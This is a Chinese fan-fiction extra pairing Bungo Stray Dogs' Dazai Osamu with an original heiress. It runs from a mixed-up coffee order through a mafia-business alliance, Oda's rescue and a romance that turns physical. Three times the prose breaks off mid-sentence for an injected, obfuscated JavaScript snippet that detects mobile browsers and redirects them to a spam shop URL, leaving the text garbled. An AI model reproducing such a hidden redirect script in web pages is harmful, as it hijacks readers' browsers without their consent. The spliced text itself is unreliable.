两个同样一晚没睡的人,因为感官的下降,在喝下店员递错的咖啡后都得到了短暂的清醒。 “抱歉抱歉!”店员已经开始鞠躬了,尤其是在他检查完材料之后,“但店里的咖啡豆恰好用光了……” 所以这应该是短时间内店里能做出的最后两杯咖啡。 太宰治下意识吐下舌头,模样像是猫咪吃到不满意的零食时无声的抗议。 那种焦苦中带着酸涩的口感还停留在舌根,真不知道为什么会有人能咽下这种东西……除非这是一杯能立刻将他杀死的毒药。 那在如此口感之下他也要慎重考虑一下。 雪野夕则被咖啡里的糖和甜到直皱眉头,那种甜腻腻的感觉真让人不爽,尤其是里面的奶泡,香气浓郁到让她这个没吃早饭的人有点反胃。 在无法买到新咖啡的情况下,两个少年人互相瞪了一眼,大概在心里互相鄙视对方的品味。 随后又是各自一声轻哼。 一个觉得对方是个绷带配正装的怪人,浑身黑漆漆很无趣,黑白配难道以为自己是什么奶牛猫吗;另一个觉得对方是个不但不好好穿制服,而且身上的小配饰有些过于跳脱,而且挂着黑眼圈瞪自己的样子真像快要发脾气的暹罗猫。 这是一次不怎么愉快的初次见面。 幸好第二次见面更加不愉快,那种气氛足以将初见的气氛衬托得柔情脉脉。 太宰治和雪野夕第二次的会面地点在一座私人庄园里,因为一场雪野财团发起的酒会,任何集团想要在横滨进行生意来往,大概就不可能绕开港口mafia,身为组织首领,森鸥外也很重视雪野财团这次倾向于合作的会谈。 具体表现在,他在出席酒会时带上了自己得意的钻石们,中原中也和太宰治。 大人物见面的酒会堪称无聊,一席场面话翻来覆去地来回说,因此在那位雪野先生与森先生交谈到一半时,太宰治就已经借由透气,独自溜出院子,找到了那棵他早早就相中的枯树——高度和粗细完全合适,就连周边的风景都很不错。 不吊死在别人家的院子里已经是他最后的倔强,这棵树出现的时机真是太恰好了。 但他想死的时机到没那么恰好,因为就在绳子勒住他喉咙的瞬间,一道身影从低矮的院墙内翻身而出,刚好踩在他挂着绳子的树枝上。 “这么无聊的酒会谁要……啊?” “……!” 而太宰治很看好的树枝也不负众望地断掉,将来人与它的残枝一起重重砸在他身上。 柔滑的发丝与有些熟悉的浅淡香气一同落在太宰治脸上,和全身各处传来的痛楚对比鲜明,这算……被压死前的最后一点慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152024|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藉吗? 本来想试试能不能翻墙的雪野夕也在眼冒金星——难得她今天没用异能力而是选择走墙,谁能想到会有人在墙外上吊啊!? 况且她到底砸到谁了……为什么身上骨头这么多,她的头被他的下巴磕得好痛。 谢天谢地,异能者的身体素质都算不错,两个人都只是摔得比较痛。 “甜咖啡黑西装外套绷带男?” “苦咖啡不好好穿制服小姐?” “你叫我什么?” “你叫我什么?” “我的称呼起码比较有礼貌吧?”太宰治揉着脑袋,“至于您,是不是应该先从我身上起来呢?” “你以为我愿意吗?你身上也太硬了……”雪野夕捂着头站起来,“如果不是身高只有一米六我都怀疑你是瘦长鬼影化身。” “哈?”太宰治气极反笑,“那也总比一个能把人砸个半死的小姐好吧?” “虽然我的人生信条是清爽明朗充满朝气地自杀……但完全自杀手册上似乎完全没有提到被砸死这一可能呢。” “噫。”雪野夕不怎么喜欢评价别人,但还意外挺想跟眼前这个黑漆漆的小鬼抬杠,也许是自己刚刚那一下摔得真的不轻,“那你的什么什么自杀方式就是在别人家的院子外面上吊吗?” “小姐不也旁若无人地翻墙吗?” “我翻的是我自己家的墙!” “我上吊勒死的是我自己。” 两个人争吵的位置距离举行酒会的侧厅并不远,起码从三楼刚好能够看见。 所以当中原中也满脸暴躁地来找太宰治时,看到的就是一副两个黑毛互相瞪着对方、寸步不让的样子。 “喂,你这青花鱼又惹出了什么麻烦啊?”他有意地压低嗓音,“还有,她是谁?” “青花鱼?”无意打断别人交流,但耳朵很尖的雪野夕被这个称呼笑到,但还是很快收敛好了表情。 “青花鱼总比蛞蝓好。”比她耳朵更尖的太宰治下意识化身损友,“况且像‘矶渚女’一样的小姐……” 矶渚女是会出现在海边,模仿女孩子们丢手球游戏来丢石子进行恶作剧的妖怪,况且这个人说“丢”的东西,分明就是她自己。 在大人们从侧门出来寻找离席之人时,看到的就是升级为互相怒视对方的两个人以及夹在中间的中原中也。 “首领都过来了!你给我收敛一点啊!”中原中也低声暗骂,“吵架也该有个限度吧?” “这是吵架了吗?”来人中一位贵妇人饶有兴趣地看着这一幕,将打量的目光从太宰治身上收回,“森首领,这就是您的学生吗?” “啊,是这样。”难得打扮正经的森鸥外点点头,“太宰,发生了什么?” 太宰治已经为自己今日的所作所为打好道歉腹稿,毕竟在这个地方突然上吊确实不合时宜,但无奈这棵树是真的很完美啊…… “你叫做太宰吗?”贵妇人微笑着询问,“不错,我还是第一次见到有人把夕气得嘴唇都在发抖呢。” 73.番外三(2)[番外] 雪野夕紧急叫停:“……母亲。” 如果她再听不出母亲大人是在讽刺她翻墙的行为,那就是真的在刚才摔糊涂了。 “……原来是雪野小姐。”森鸥外深沉的眼神在自己的钻石们身上掠过,抬眼间已经换上了一副无懈可击的笑容。 “还不是因为他……” 当着所有人的面说他在院外上吊好像不太好,坦白来说如果没人来,雪野夕大概率会对打断对方的自杀感到抱歉。 并且把他扶起来挂回树枝上面。 “都怪他说我是矶渚女。” “上来就说对方是瘦长鬼影的小姐好像不应该有这么多底气吧?” “哈?都说了你没有那么高啊!瘦长鬼影起码要两米高呢。” “那小姐打人可比石子痛多了!砰地一声就从墙上掉下来。” 被夹在吵架的两人中间,中原中也在无奈中甚至莫名其妙地开心了一下,最起码这位雪野小姐语言攻击了太宰治,甚至是从身高方面进行攻击的。 “真是失礼了。” 雪野夫人笑眯眯地按住女儿的头,森鸥外也走过去拍拍太宰治的肩膀,两人相视一笑,显然今日的会谈很成功,至于孩子们的打闹插曲,更像是一剂甜型利口酒罢了。 在后续回到港口大楼后的会谈上,森鸥外用一种若有所思地眼神将太宰治打量了数遍。 直到太宰治生出一种恶寒,他才慢悠悠地询问:“太宰,你觉得今天见到的雪野小姐怎么样?” “哈?”眼神死气沉沉的少年有点炸毛,“选咖啡品味很差劲、打人特别痛的暹罗猫小姐?” 森鸥外:“……” “重点不是这个。”他转换语气,再次开口时已经是首领,“雪野财团进入横滨……对港口mafia的影响很大,只要充分利用好其所带来的庞大流动资金,我们势必更进一步。” “而今日所见的雪野夕小姐,恰好是雪野家的独女。” “雪野夫人同样是之前雪野三代目唯一的女儿,她在二十年前招赘了现任丈夫……”他拉长语调,“而太宰君你,在业内可是赫赫有名哦。” 作为一个被异能者支配的世界,横滨在整个国家内都是特殊的存在,港口mafia更是其中翘楚。 况且与影响力极大的雪野财团联盟,距离拿到异能营业许可证就又近了一步。 太宰经常哄得任务对象团团转,就算一个□□不成……他也还有另一颗钻石啊,哪一个成功了对港口mafia来说都是大胜利呢。 “森先生,总感觉您在想一些非常失礼的事……但我是不会认同一个咖啡不加糖的人的。”太宰治扯了个理由拒绝。 今日因为哄爱丽丝吃蛋糕所以配了抹茶,但总体上真的在喝无糖咖啡的森鸥外:“……” 同一时间,雪野夫人也在苦口婆心地对女儿说:“……异能者数量是雪野财团的弱项,我们必须拿到港口mafia的支持。” “今天你见到的太宰君,他在其组织的威名上功不可没。” “而且本身是战力不高的脑力派,异能力还是很有趣的‘无效化’。” “我是不会认同咖啡加糖的奶牛猫的!”雪野夕扯出理由拒绝,然后就看到自己亲妈眼神复杂地往咖啡杯里加了三块方糖。 雪野夕:“……” 随后两个人都面色难看地被双方家长有意地安排见面。 幸好只是在河边见面,谢天谢地。 而太宰治也相当先发制人,“雪野小姐,您难道又是逃课出来的吗?” 真的是逃了小提琴课出门的雪野夕不甘示弱,“总不会是因为辍学了所以才在河边闲逛的好。” 双方的攻击都还算不痛不痒,只有被迫加入其中的中原中也感到自己的耳朵有点受伤,毕竟他带着首领的任务而来,但对于太宰治被怼这件事,到也算是乐见其成。 三个人的破冰发生在晚饭时间,至少几杯清酒加上一些红酒后,兴奋起来的中原中也在被太宰治怂恿发酒疯之前,被雪野夕及时地移了出去。 两秒中后醉鬼重力使趴在落地玻璃外,颠三倒四地问雪野夕需不需要把她送回家。 他皮肤白皙,头发的色彩又漂亮,因为醉酒染上红晕的面颊更艳丽的不可思议。 雪野夕:“……我看我得先送你回家。” “哎呀,难得一见呢。”太宰治兴致勃勃地收回录像的手,“将这个写成中也糗事,在港口mafia内部又会大爆吧?” 被攻略目标小姐送回家什么的,中也醒来绝对会变成番茄。 而雪野夕开始考虑自己也录个像,到时候把对面人这副小人得志的模样发给帽子君,太宰治大概会被同事狠狠打一顿? 至于“撮合”当天的结果如何—— 太宰治本来打算将醉醺醺的中原中也留在店外打转,没想到看到鹤见川在月色下的银色水波后眼睛一亮,身先士卒地一头扎了进去,徒留正在变身横滨歌姬的橘发帽子君和满头问号的雪野夕。 最终还是她扯着中原中也找到了一队港口mafia的外勤小队,又将另一只猫咪落水的消息说完才走。 她怕回去母亲问起今天和太宰治相处的怎么样时,她会脱口而出还不错,他现在应该已经顺水而下进入太平洋了。 毕竟是合作伙伴……话说森首领派出一对活宝来和她打好关系真的好吗? 开展合作和进驻横滨是个大工程,所以他们三人被迫见面在此后的三年中有许多次,只是最终结果大概都以“中原中也一二三次被坑—太宰治又双叒叕去自杀了—雪野夕打电话给黑蜥蜴人员说嗨真是巧了”为结束。 对方的首领真是个强大的人,他们三个都把会面搞砸成这种模样了,他竟然还能在欢迎会上面不改色地说出“你看起来和他们关系真好,甚至已经达到了互相品鉴对方品味的层次”。 实际上无差别攻击太宰治所有地方除了脸以及中原中也酒品的雪野夕嘴角抽搐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167811|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其实森鸥外在太宰治拒绝自己的“干脆色.诱”要求后,就暗戳戳地把希望放在了中原中也身上,但这两年他需要出差,一回横滨就会喝醉然后被雪野夕送回港口mafia,现在已经把她当成了令他放心的酒搭子。 这其中也有每次见面太宰治都“恰好”在附近,并且“恰好”挑衅中原中也让他喝多的因素。 在第三年,雪野财团初步在横滨站稳脚跟,这场家家酒似的闹剧终于可以告一段落——至少在双方的掌权人眼中,交出继承人的行为算得上最大程度的示好。 港口mafia得到了资金支持,雪野财团拥有了新的市场,双方都很满意。 因此想要展现亲密的局面也似乎到了暂停的时刻。 至少雪野夕和太宰治足足有半年时间没有再次见面。 后续就是她申请了国外的大学,在今年九月就要远赴北国,未来大概不会再与横滨众人有什么交集。 唔,如果太宰治成为港口mafia首领的话,那时候才会再见面吧。 上次一别,等到醉醺醺的中原中也被接走,太宰治罕见地没有跳河、没有上吊、没有在街边看到一个垃圾桶就要尝试新的自杀方式,反而是沉默地注视了她一会儿,最终把眼睛移开。 他们一起走了一段重合的路程,天上下起了淅淅小雨,即将分开的路口,竟然是第一次见面的咖啡店。 时间正确、地点正确。 出于躲雨的目的,雪野夕打破沉默,“要不要进去躲躲雨?” 太宰治轻轻抿起嘴唇,依旧沉默地跟着她走进店里,三年前的店员并没有因为搞反订单被解雇,反而娴熟地跟他们打招呼,然后做好两人喜欢的咖啡口味递过来—— “外面竟然下雨了,两位客人没有被淋湿吧?” “正好是店里最后一点咖啡豆了哦。” 深夜的咖啡店有点冷清,还是两杯熟悉的咖啡,甚至连情景都分毫不差。 只不过一个是代表初见的白昼,这次却大概是告别的夜晚了。 雪野夕伸手,拿起其中一杯,平静地喝了一口,很寻常地点评:“果然,太甜了。” 太宰治也抿了一口剩下的那杯,“是啊,实在是太苦了。” 咖啡店店员面露难色,“二位,你们又拿错了。” 雪野夕看向沉默地品尝苦咖啡的太宰治,对方一言不发,向来讨厌这种味道的人此时面色麻木到连睫毛都无精打采地垂落下去,但视线却只盯着眼前的方寸之地。 “……那就当我是拿错了吧,抱歉。”她将那杯咖啡握在手中,“雨好像要停了,真是短暂,那么,再见了,太宰君。” 这大概是三年里她第一次用这个称呼。 但他平日里没少叫她“雪野小姐”。 一种别扭的、如同蝴蝶振翼般的难受感觉不知道在谁心中蔓延,最终随着其中一人的告辞而微微一烫。 嘴里焦苦而酸涩的味道……这次还是因为咖啡吗? 74.番外三(3)[番外] 半年后的某一天,夏季快要过去,雪野夕本来在收拾东西,累了就到落地窗前休息一下,偶尔也会想起那杯过甜的咖啡和某个人在上一次分别后略带慌乱的眼神。 住所的门却在此时被猛然叩响,门外是她从未见过的慌张太宰治。 甚至于他身上的白色绷带都沾染了血迹。 直到雪野夕用空间异能力将几乎已经是尸体的织田作之助体内的子弹取出止血,对方怔怔的神色才算是稍稍好转。 这只奶牛猫一瞬不瞬地盯着她的动作,连呼吸与眨眼都变得轻而微弱。 ——太宰治不擅长面对这种场面,更不知道如何与对他展露好感的人相处。 下意识的欺骗和谎言才是他生活的常态。 因为雪野财团进入横滨,致使森先生在取得异能营业许可证上的手段稍有柔和,这也敏锐地让太宰治抓住时机,拯救了挚友织田作收养的五个孩子。 但他没能拦住织田作独自去面对纪徳。 当挚友的鲜血沾满手心时,太宰治几乎下意识地感到惶恐和纷乱,但他的大脑仍在飞速运转,很快就想到了住在附近的雪野夕。 好在……她在家。 “失血过多,要尽快赶去医院。”雪野夕按下通话键,言简意赅地清清嗓子,“我联系了雪野财团控股的医院……没问题吧?” “谢……”在她开口的那一刻猛然起身的太宰治嗓音沙哑,想说出口的话变作无声的符号,就连眼前都迅速被黑暗侵袭。 再次醒来时是已经在医院,他和织田作一左一右躺在同一间病房里,甚至都在输营养液。 活下来了……这是不是他心中第一次对活下来充满感慨? 他理应对雪野小姐表达感谢……只是平日里说多了唇枪舌战,以至于真的看到她走进来时,他竟然一句话也说不出来。 “青花鱼你快一米八了?医生说你营养不良……倒真是越来越符合‘瘦长鬼影’这个称呼了。”雪野夕拿着两个人的检查报告单,又将例行公事的伴手礼往两个病人中间一放,有点刻薄的话倒是让太宰治难得松口气。 ……雪野小姐没变,但她其实根本不是什么被他失礼地称为“矶渚女”的妖怪。 那么是什么呢?带来希望的妖精小姐吗? 亦或是海中的阿弗洛狄忒,是只存在于他眼前的幻影。 而泡沫是抓不住的,自作多情的幻想才是最可怕的刑罚。 半年的时间并没有让他忘记她,反而时常回想起初次见面时她雪中森林一样的眼睛,还有柔滑的发丝拂过他的下巴,从绷带的边缘扫过脖颈的触感,以及随风而来的微微香气。 大概是他们一起斗嘴的时光,是难得不用花心思隐藏,甚至可以尽情展现自己恶劣性格的日子。 即使真的喝到酩酊大醉也没什么要紧的,她从不会阻拦自己寻死,但会在他入水后叫来港口mafia外勤,两个人拌嘴时看过来的眼睛也总是带着光亮…… 而这样的日子,随着安吾真实身份暴露,雪野小姐即将出国,从此不再有了。 是他什么也抓不住。 . 织田作之助对于雪野夕的帮助表达了深深感谢,如果能继续看着孩子们长大,对他来说实在是一件好事。 “您是雪野小姐吧?”已经决定跳槽的港口mafia底层人员嘴唇发白,“太宰以前提起过您。” “原来他还会背地里说我坏话啊。”雪野夕把橘子掰成两半,一个病号一半,成功看到病床上两个人被酸得两哆嗦的模样。 “啊……他说遇上了妖精小姐。”即使被酸得直抽气,耿直的红发老实人还是为挚友辩解,“像暹罗猫的妖精小姐。” “……?”剥完橘子的雪野夕不可置信地转头看向捂住脸的太宰治,“我?像暹罗猫?” “我要是暹罗猫那你就是奶牛猫!时不时需要驱魔的那种。” “哈?雪野小姐生气脸就变黑,第一次见面黑眼圈都快赶上半张脸……那不就是暹罗猫吗?而且好奇心强什么的也很符合啊……” “但奶牛猫什么的绝对不可能是我!”虽然耳朵有点红,但下意识和她争论的太宰治看上去一下子恢复了活力,“我明明很稳重!” “啧。” “哎?那是什么反应啊?” “小心我把你的白色脚套拆掉的意思哦——” “……织田作!雪野小姐欺负我!” 看到挚友那求助中带着光亮的眼睛,红发青年轻轻笑了——如果不是刻意为之,太宰治才不会陷入当下的“困境”。 大概他也乐在其中吧。 身体素质不错的织田作之助和作息不规律的太宰治在医院住了三天后,终于双双出院。 而雪野夕也开始继续收拾行李,离出国大概还有半个月时间,算不上紧急。 ……如果没有意外发生。 彼此告别前织田作之助先生表示自己要换一份工作,他大概会去当个作家,写写自己喜欢的小说。 对于这个展望,太宰治表达支持,甚至还撒泼打滚表示自己要做他的第一个读者,直到织田作之助再次提起“希望他也到光明中去”,他才真的陷入沉默。 如果选择离开港口mafia……自己和雪野小姐大概未来都不会再见面了。 应该说即使他当上港口mafia的首领,未来也不会经常见到她才对。 所以他有时会抱着说不清道不明的心思路过雪野小姐的住址,直到她离开横滨的那一天。 但至少今天,当雪野小姐打开院门,神色平静地问他是否想要进来坐坐时,他完全无法拒绝地任向她走近。 “一天路过我家门前八百遍……你是喵喵叫着求收养的小猫吗?” “雪野小姐……打算什么时候离开?” “太宰先生是作为什么身份来问这个问题呢?”雪野夕走在他身侧,面容平静,但反问简直比尖锥还锐利。 起码对于太宰治来说是这样的。 少顷,他有些绝望地笑笑,“……抱歉。” “我……”他应该说什么呢?纷乱到无从下手理开的心绪让他无从诉说,至少说不出任何表达心意的话。 “我大概是个糟糕的人。”最终还是这句话挤出喉咙,“……无法被拯救的那种糟糕。” “嗯?”依旧没什么表情的雪野夕在房门口站定,“关键在于,你希望被拯救吗?” “……要不雪野小姐救救我?”脸色苍白的太宰治自认为开了一个无伤大雅的小玩笑,在这种时刻,即使刻意用轻佻的嗓音反问,他的声音还是有些颤抖。 于是认为已经得到答案的雪野夕打开门,伸手拉动他的力气绝不会比拉动丝线更大,但他下意识地跟上了。 太宰治一时之间不知道是该欣喜还是绝望。 “咔哒”一声过后,大门关闭,昏暗的室内没有开灯,半掩的厚重窗帘缝隙里有夕阳投射,而他们不知道是谁率先去亲吻谁。 就在大门关闭之后,就在玄关的阴影里,就这么彼此注视着对方的眼睛,直到唇齿之间全是对方的味道。 发带和绷带松散,彼此的唇都被咬破,呼吸急促,时间流逝……这些都在发生着,但无人在意,更不会因此停歇。 “……你咬我。” “居然真亲……是雪野小姐……先咬我的。” “而且猫咪咬人也很正常……” 雪野夕带着唇角的伤口微微后仰,她现在要微微仰视他了,他的眼神中还带着那么一两分羞怯,可一旦碰到他的嘴唇,太宰治简直就像是海啸中抓住了救生筏的人一样,几乎忘记控制自己的力量,紧紧地抱住了她,带着乞求不允许她后退一分一毫。 ……可害羞脸红的也是他。 “所以……要再给我一次机会吗?” 于是他们继续。 最后双双跌进客厅连接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182630|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄关的厚实地毯里。 …… 雪野夕视线模糊,只能透过身前不远处的全身镜看到太宰治肆意妄行的动作,他将手按在她的腰间,从背后叼住她早就松散的发带,最后将它抽走了。 也许是知道她的不甘,这只猫就主动将缠在身上的绷带末梢递上来,像是在撒娇讨好,但也许是在刻意挑衅也说不定。 她确实在亲手开启潘多拉魔盒。 由心上人亲手剥落灵巧黑猫的伪装,化作干净少年模样的魔王眼带笑意,自上而下地从背后环绕住她,又或许是在透过镜子欣赏她的窘境。 “雪野小姐,不要哭。”叼住她后颈的魔王刻意展露虎牙,再有意地捕捉到她眼角渗出的泪珠,最终安抚道:“你也可以……咬回来。” 爱与死,本就是一体两面。 尤其是,当它们都达到巅峰的时刻。 嘴上相当会哄人的猫,却是世界上最佳的猎手,至少雪野夕没能把握住他口中稍纵即逝的“反击时刻”。 太阳西沉,室内终于陷入黑暗。 . 港口mafia最近发生了不少大事,比如首领得到了心心念念的异能营业许可证,又比如干部之一太宰治……似乎叛逃了? 之所以用“似乎”来形容,据说是因为在他连日未归后,森先生尝试拨打了太宰干部的电话,非常出乎意料地接通,而双方的谈话内容更加出乎意料—— 太宰治:“多谢森先生,我准备退出组织金盆洗手和恋人在一起啦!” 森鸥外:“哈?” 这小子在说什么?是日语吗? ……难道说他早不成功晚不成功,偏偏在自己和他闹掰的时候色.诱成功吗? 真是个令人心情复杂的消息。 他开始思考自己是不是应该暂时缓和与学生的关系,甚至真的让他成为下一任首领也不错。 “我拒绝这种选项嘛。” 挂断电话的太宰治黏黏糊糊地凑近雪野夕,因为昨晚的事,她今早还没起床就先得了重感冒。 “夕酱。” 躺在床上的雪野夕垂死病中惊坐起,谁能想到小青花鱼能一夜之间大变活猫,从库库挠人变成这种撒娇精啊。 猫呢,被掉包了吗? 今天一大早,太宰治就开始梳洗打扮,确保恋人一睁开眼就看到一个帅气逼人的男朋友。 雪野夕看过后,缓缓闭上眼睛。 她在家收拾东西的时候没少从衣服的边边角角找出窃听器,这种东西到底是谁放的……很明显。 有趣的是,某条青花鱼敢放一堆窃听器,甚至是一天数次在她家门外的角落处探头探脑……唯一不敢做的也就只有上来敲门了。 一只内里嚣张但表面上伪装成小夹子的坏猫……哼。 太宰治大惊失色:“不要啊夕酱,难道你是得到之后就不再珍惜的人吗?” 他姿态自然地握住雪野夕放在被子外的手,贴近自己的脸颊,露出的鸢色双眼里神色不明,“可惜除了你……我现在已经无家可归了哦。” 有些尖锐的虎牙刺入她的手腕,最终在柔软的皮肤表面留下浅浅牙印。 “……我好累,而且明明是你不给答复吧?我表现的超级明显。”雪野夕才懒得阻止他这种不痛不痒的威胁,甚至于昨天他也没少咬。 甚至现在她身上还有不少地方缠着他的绷带……没力气拿下来了。 太宰治对此乐见其成。 “都是我的错,我以前是脑子坏掉了。”眼睛亮晶晶的奶牛猫凑过来,自顾自在脑海里修改了雪野小姐的印象——她明明就是那种黑毛绿眼睛的垂耳小兔子嘛,昨天咬他的时候超级可爱。 气急败坏的模样也很像。 “那我还有最后一个问题。” “嗯?” “嫁给夕酱后我还能喝加了糖的咖啡吗?” “?” end.